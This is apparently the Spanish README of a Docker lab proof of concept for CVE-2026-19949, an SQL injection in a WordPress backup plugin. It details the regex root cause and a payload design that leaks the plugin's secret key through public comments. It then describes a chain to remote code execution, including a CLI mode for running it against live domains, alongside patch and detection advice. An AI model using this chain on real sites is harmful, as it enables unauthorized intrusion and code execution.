
Reproducible Docker-based proof-of-concept for CVE-2026-19949, a second-order SQL injection in All-in-One WP Migration <= 7.109 that leaks the ai1wm_secret_key via anonymous REST and escalates to remote code execution.
Inyección SQL de segundo orden no autenticada en All-in-One WP Migration and Backup (WordPress)
que escala a filtrado de la ai1wm_secret_key y, con ella, a ejecución remota de código (RCE).
Lee esto en: English · Español
| CVE | CVE-2026-19949 |
| Plugin | All-in-One WP Migration and Backup (ServMask), ≤ 7.109 |
| Parche | 7.110 (20 de agosto de 2026) |
| CVSS | 8.8 (Alta) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Requisito | Que un administrador exporte y restaure el sitio (acción de rutina con este plugin) |
| Investigador | Jack Taylor (programa de recompensas de Wordfence) |
⚠️ Uso exclusivamente educativo y defensivo. Este laboratorio ataca un sitio WordPress que corre en tu propia máquina, dentro de contenedores Docker. No lo uses contra sistemas que no te pertenezcan o para los que no tengas autorización explícita.
El flujo de exportación/importación del plugin vuelca la base de datos a SQL
(database.sql dentro del .wpress) y, al importar, reescribe cada sentencia
con Ai1wm_Database::replace_table_values() para sustituir URLs y prefijos de
tabla. Para localizar los literales de cadena usa el regex:
// 7.109 (vulnerable) — class-ai1wm-database.php:1637
preg_replace_callback( "/'(.*?)(?<!\\\\)'/S", array( $this, 'replace_table_values_callback' ), $input );
El problema está en el negative lookbehind (?<!\\): solo examina un byte
antes de cada comilla candidata a cierre, en lugar de contar el run completo de
backslashes. En un volcado MySQL, unos datos que terminan en \ se escriben como
...\\' — una comilla de cierre precedida de un número par de backslashes
(cadena real terminada en backslash) — pero el regex la cree escapada y
sobre-captura el siguiente literal. El callback ejecuta entonces
unescape_mysql → replace_serialized_values → escape_mysql sobre el valor
sobre-capturado, y ese ciclo re-emite una secuencia de comillas/backslashes
desequilibrada que voltea el límite de la cadena MySQL en la sentencia
resultante, promoviendo datos del atacante a SQL ejecutable.
Con el trackback plantado (ver §4), la fila en database.sql es:
INSERT INTO `…_comments` VALUES (2,4,'Jack Blogs\\\\','','/*payload*/…','172.18.0.1',…);
El author termina en \ a nivel de datos → el volcado lo escribe como \\ →
la comilla de cierre queda precedida de un run par. El regex sobre-captura
hasta la comilla de apertura del campo siguiente y el callback re-escapa el
conjunto:
'Jack Blogs\\\\',' ← contenido sobre-capturado
unescape → 'Jack Blogs\\',' ← strtr colapsa los pares
escape → 'Jack Blogs\\\\\', ← una comilla ESCAPADA nueva ha aparecido
salida → 'Jack Blogs\\\\\','…' ← el par `\ , '` voltea el límite de la cadena
A partir de ahí, todo lo que seguía en la sentencia se re-tokeniza con la paridad cambiada (datos que eran cadena pasan a ser código y viceversa). El regex parcheado de 7.110 procesa la misma línea y la devuelve idéntica.
Puedes verlo byte a byte, sin explotar nada, con make demo-flip
(exploit/04_demo_flip.php), que ejecuta el código REAL del plugin 7.109 y
7.110 sobre la misma línea de volcado.
- $input = preg_replace_callback( "/'(.*?)(?<!\\\\)'/S", array( $this, 'replace_table_values_callback' ), $input );
+ $input = preg_replace_callback( "/'((?:[^'\\\\]++|\\\\.)*+)'/sS", array( $this, 'replace_table_values_callback' ), $input );
El nuevo patrón tokeniza literales MySQL correctamente: o un carácter que no es
comilla/backslash, o un par de escape \x, con cuantificadores posesivos. Un run
par de backslashes ya no confunde el cierre del literal.
La cadena publicada por Wordfence (sept. 2026) tiene cuatro pasos:
wp-trackback.php?p=<id>). El blog name
(→ comment_author) termina en \ y la URL (→ comment_author_url) porta
el payload. WordPress los almacena sin tocar la barra. En la variante
publicada, el primer trackback actúa de bomba de tiempo: fuerza el corte
del pase de importación (límite de 10 s) para que el payload se ejecute en
un pase posterior, cuando el importador ya ha restaurado la
ai1wm_secret_key del sitio en wp_options (el exportador la excluye del
dump; el importador la reescribe entre pases).ai1wm_secret_key a un comentario aprobado
de tipo comment, visible en la REST API de comentarios sin autenticación.admin-ajax.php?action=ai1wm_import está registrado también para
usuarios anónimos (wp_ajax_nopriv_ai1wm_import) y su única barrera es
ai1wm_verify_secret_key(). Con la clave filtrada, el atacante conduce la
cadena de importación con su propio .wpress que incluye un mu-plugin;
el paso Ai1wm_Import_Mu_Plugins (prioridad 270 de la cadena) lo extrae a
wp-content/mu-plugins/ → ejecución de código en la siguiente carga.Este repositorio verifica la cadena de principio a fin con un único trackback plantado (la bomba de tiempo no es necesaria en el laboratorio: la fila se ejecuta en un pase posterior al restablecimiento de la clave).
El exploit exacto del investigador no es público (búsqueda exhaustiva el
2026-09-07: GitHub — los 2 repos existentes son una plantilla vacía y una
herramienta masiva con endpoints inexistentes —, Exploit-DB/PacketStorm 0,
Sploitus solo indexan esos repos falsos, WPScan sin PoC, foros solo noticias;
detalle forense en research/poc-publica/ANALISIS.md).
Lo derivamos nosotros a partir del análisis del mecanismo
(exploit/investigacion/). Diseño:
\ → el lookbehind de un byte del regex
vulnerable sobre-captura el literal siguiente y el ciclo unescape→escape
voltea el límite de la cadena.comment_author fusionado y un string , absorben el
desplazamiento; una coma inicial en la URL restaura el separador
estructural devorado)./**/ como separadores:
\' y en zona de código dejaría
una barra huérfana (error 1064) → de ahí el hex (0x616931776d… =
"ai1wm_secret_key");sanitize_url elimina los espacios (y antepone http:// a todo lo que
no empiece por /) → de ahí el arranque /*pwn*/ y los /**/;comment_author_url) = la subconsulta que lee
la clave → la clave acaba en un campo público; la 11 = 0x31
('1', comentario aprobado); la 13 = 0x636f6d6d656e74 ('comment',
visible en la REST anónima);) cierra la tupla con exactamente 15 valores y # (comentario MySQL
sin espacio, que sanitize_url respeta) neutraliza el resto de la
sentencia original.SERVMASK_PREFIX_options: el importador
reescribe los prefijos SERVMASK→real antes de la pasada del regex, así
que el payload funciona en sitios con cualquier prefijo de tabla
(verificado). El único dato específico del objetivo es su URL, portada en
el excerpt para disparar el filtro strpos del importador (solo reescribe
líneas que la contienen).La sentencia resultante (la que ejecuta MySQL durante la restauración):
comment_author_url = (SELECT option_value FROM <prefijo>_options WHERE option_name='ai1wm_secret_key') — la clave auténtica queda en un campo que la
REST API publica sin autenticación.
| Paso de la cadena | Estado | Dónde |
|---|---|---|
| Instalación vulnerable reproducible (WP 7.1 + plugin 7.109) | ✅ | make lab |
| Plantado no autenticado vía trackback (byte-exacto, auto-aprobado) | ✅ | make plant |
| Export del admin; el dump contiene la fila plantada | ✅ | make export |
| Causa raíz: regex 7.109 voltea el límite de cadena (vs 7.110 intacto) | ✅ | make demo-flip |
| Restauración del admin: el flip reescribe el SQL y corrompe/pierde la fila en 7.109 | ✅ | make restore |
| Filtrado de la clave (payload derivado propio) → leak real vía REST sin autenticar | ✅ | make leak |
| RCE: import no autenticada con la clave → mu-plugin ejecutado | ✅ | make rce-auto |
| Control negativo: en 7.110 la fila sobrevive intacta, sin leak | ✅ | make control-7110 |
| Matriz WP 7.1 / 7.0.4 / 6.9.4 / 6.8.3: cadena completa ✓ en todas | ✅ | research/test-wp-versions.sh |
| Cadena completa remota (solo HTTP, válida para un dominio real) | ✅ | python3 cli/poc.py explotar … |
Resultado verificado end-to-end: tras el export+restore del admin, la
ai1wm_secret_key auténtica aparece como author_url de un comentario
aprobado en GET /wp-json/wp/v2/comments — sin autenticación alguna — y con
ella se ejecuta la fase RCE (mu-plugin extraído y ejecutado, marcadores de
evidencia en wp-content/). En 7.110 la fila sobrevive intacta (el payload
queda como datos inertes) y no hay leak.
La fase de RCE se demuestra además de forma independiente: su única
entrada es la clave, que puede pasarse a mano (make rce KEY=…) — el estado
exacto del atacante tras el leak.
Matriz ejecutada con bash research/test-wp-versions.sh 7.0 6.9 6.8
(laboratorio reconstruido por versión, plugin 7.109, payload idéntico):
| WordPress | plant | export | restore | leak | RCE |
|---|---|---|---|---|---|
| 7.1.0 | ✓ | ✓ | ✓ | ✓ | ✓ |
| 7.0.4 | ✓ | ✓ | ✓ | ✓ | ✓ |
| 6.9.4 | ✓ | ✓ | ✓ | ✓ | ✓ |
| 6.8.3 | ✓ | ✓ | ✓ | ✓ | ✓ |
La mecánica es estable en todas: sanitize_url respeta el payload,
wp_comments conserva las 15 columnas y wp-trackback.php sigue operativo.
El payload es independiente del prefijo de tabla (ver §5).
docker-compose.yml WordPress (php8.2-apache) + MySQL 8; PLUGIN_VERSION y
WP_VERSION configurables (7.109 por defecto, 7.110 control)
docker/wordpress/Dockerfile imagen del sitio víctima: wp-cli + plugin de WordPress.org
setup/init.sh core install, activa el plugin, crea la entrada con pings
abiertos, comentarios sin moderación
exploit/ ← fases numeradas de la PoC
01_plant_trackback.sh Fase 1 — trackback malicioso (no autenticado)
02_export.sh Fase 2a — export del admin (vía aiowpm_client)
03_restore.sh Fase 2b — restauración del admin + ANTES/DESPUÉS de la fila
04_demo_flip.php Causa raíz byte a byte: regex 7.109 vs 7.110
05_build_wpress.py Construye el .wpress malicioso (package.json + mu-plugin)
06_rce_unauth.py Fase 3 — import no autenticada con la clave → RCE
07_leak_key.sh Fase 3a — lee la clave filtrada de la REST anónima
aiowpm_client.py Cliente del protocolo AJAX del plugin (export/import
por prioridades, como su JavaScript)
wpress.py Lector/escritor del formato .wpress (bloques de 4377 B)
mu_plugin.php Mu-plugin BENIGNO (marcadores de evidencia, sin shell)
investigacion/ Arneses y fuzzers con los que se DERIVÓ el payload:
harness.php (pipeline real del plugin + MySQL de
prueba), afinar/test/fuzzers, NOTAS.md del análisis
cli/poc.py CLI de demostración: lab / scan / verificar / explotar
web/index.html Landing bilingüe del CVE (estilo base de datos de
vulnerabilidades; sin dependencias externas)
research/
test-wp-versions.sh Matriz de compatibilidad por versión de WordPress
poc-publica/ANALISIS.md Refutación forense de las «PoC públicas» falsas
Makefile Objetivos: lab, plant, export, restore, demo-flip,
leak, rce-auto, full-demo, control-7110, demo-cli…
README.md / README.en.md Esta documentación (ES/EN)
.gitignore Fuera: informes con claves, .wpress generados, zips y
fuentes del plugin (terceros), PoC falsas descargadas
Artefactos que se generan al ejecutar y no se comparten (ver .gitignore):
informes/ (contienen claves filtradas), exploit/malicious.wpress,
plugin-src/ (fuentes 7.109/7.110 extraídas para diff), research/*.zip
(zips originales de WordPress.org), research/database.sql,
research/backup-legit.wpress y los ficheros de las PoC falsas analizadas.
Requisitos: Docker (con el plugin compose), make, python3 con requests, curl.
make full-demo # laboratorio completo de cero: lab → plant → export →
# restore → flip → leak → rce (todo lo anterior de una vez)
Salida esperada (resumida):
FASE 1 trackback plantado sin autenticar (error 0, comment_approved=1)
FASE 2a export OK → .wpress en ai1wm-backups/
FASE 2b restauración: ANTES hay 2 trackbacks → DESPUÉS solo queda el benigno:
la fila con '\' final se pierde (INSERT reescrito/corrupto en 7.109)
FLIP regex 7.109: 'Jack Blogs\\\\', → 'Jack Blogs\\\\\',' (límite volteado)
regex 7.110: la línea sale IDÉNTICA
LEAK ai1wm_secret_key visible en la REST de comentarios sin autenticar
RCE import anónima con la clave → /var/www/html/PWNED_CVE_2026_19949.txt
+ wp-content/mu-plugins/pwned.php + option pwned_cve_2026_19949
Acceso al sitio víctima: http://localhost:8080 — admin / admin-password-123
(entrada pública ID 4 con pings y comentarios abiertos).
make lab # levantar/inicializar el laboratorio (plugin 7.109)
make plant # Fase 1 — plantar el trackback (anónimo)
make export # Fase 2a — exportar como admin
make restore # Fase 2b — restaurar como admin (muestra ANTES/DESPUÉS)
make demo-flip # causa raíz: 7.109 vs 7.110 sobre la misma línea
make leak # Fase 3a — leer la clave filtrada de la REST (anónimo)
make rce KEY=XXXX # Fase 3 — RCE pasando la clave a mano
make rce-auto # Fase 3 — RCE encadenado con la clave filtrada
make control-7110 # control negativo con el plugin parcheado
make lab-7109 # volver al laboratorio vulnerable tras el control
make demo-cli # demo completa vía CLI (+ informe y control negativo)
make scan-cli URL=https://www.ejemplo.com # detección no invasiva
make landing # servir la landing del CVE en http://localhost:8090
make status | logs # estado de contenedores / log de WordPress
make down | clean # parar / parar y borrar volúmenes y artefactos
Un solo comando con todos los modos; genera informes en informes/
(texto + JSON; la carpeta está fuera del repositorio porque contiene claves):
python3 cli/poc.py lab # demo completa en el laboratorio (cadena + control 7.110)
python3 cli/poc.py scan https://www.tudominio.com # detección NO invasiva (versión del plugin)
python3 cli/poc.py verificar https://www.tudominio.com # ¿clave ya filtrada? (REST anónima)
python3 cli/poc.py explotar https://www.tudominio.com --acepto-responsabilidad \
--admin-user TU_ADMIN --admin-pass TU_CLAVE --rce # cadena completa en TU dominio
lab levanta el laboratorio, ejecuta la cadena completa y el control
negativo con 7.110, y escribe el informe (--sin-control para omitirlo).scan es 100 % pasivo: lee el readme.txt público del plugin, comprueba
wp-trackback.php y la REST de comentarios. Devuelve el veredicto.verificar re-comprueba si la clave ya aparece en la REST anónima (p. ej.
horas después de plantar, cuando el admin haya hecho su backup+restore).explotar es INVASIVO y exige --acepto-responsabilidad + confirmación
interactiva del dominio: planta el trackback, simula al admin
(export → descarga del backup → re-subida y restore; solo HTTP, con las
credenciales que TÚ proporciones de TU sitio), lee la clave filtrada y, con
--rce, deja un marcador benigno vía importación anónima. Sin credenciales
de admin: planta y queda a la espera (--esperar para aguantar el leak;
--post-id para elegir entrada; --no-interactivo para scripts).Página estática bilingüe (ES/EN, conmutador en cabecera, preferencia recordada) que explica el CVE y el payload con estética de base de datos de vulnerabilidades: resumen, cadena, despiece interactivo del payload segmento a segmento, matrices de verificación y mitigación.
make landing # sirve http://localhost:8090
Sin dependencias externas (ni CDN ni JS de terceros): funciona abriendo
web/index.html directamente o con cualquier servidor estático.
wp-trackback.php y pingbacks
(opciones de debate / WAF), restringir admin-ajax.php para anónimos cuando
sea posible, y monitorizar la aparición de ficheros en
wp-content/mu-plugins/ y de la opción ai1wm_secret_key en contextos
anómalos (p. ej. comentarios).comment_author termina en \ o cuyo comment_author_url contiene
SELECT/**/, CONCAT(, literales 0x… largos o /*…*/; comentarios
aprobados cuyo author_url es una cadena alfanumérica de 12 caracteres sin
esquema.exploit/investigacion/): partimos de un arnés
(harness.php) que carga las clases REALES del plugin 7.109 y ejecuta el
pipeline contra un MySQL de prueba con una clave falsa. Los fuzzers
(search_payload.php, fuzz_rows.php, fuzz4.php,
bruteforce_author.php) exploraron alfabetos críticos sobre los cuatro
campos controlables del trackback; afinar_payload.php ajustó el número de
expresiones (N=12) y test_payload_final.php validó el diseño completo.
NOTAS.md recoge el análisis, incluidos los muros estructurales (campos
fijos del INSERT de wp_comments, sql_mode impuesto por el importador,
filtro strpos de la URL del sitio).research/poc-publica/ANALISIS.md): los
dos repos de GitHub que afirman tenerlo usan endpoints inexistentes
(aio-migration/v1 con permission_callback vs el ai1wm/v1 real), campo
de subida equivocado (file vs upload_file), formato ZIP en lugar de
.wpress, y una premisa circular. Ninguna fuente terciaria tiene PoC
propia.lib/vendor/servmask/database/ class-ai1wm-database.php:1637; las fuentes extraídas viven en plugin-src/,
no compartidas)Este material se publica con fines educativos y defensivos: entender la
vulnerabilidad, verificar el parche y construir detecciones. La cadena solo se
ha ejecutado contra laboratorios Docker propios. Atacar sistemas de terceros
sin autorización escrita es ilegal en la mayoría de jurisdicciones. Si
administras sitios afectados: actualiza a ≥ 7.110, rota la
ai1wm_secret_key (desactiva/reactiva el plugin o borra la opción para que
se regenere) y audita wp-content/mu-plugins/ y los comentarios recientes.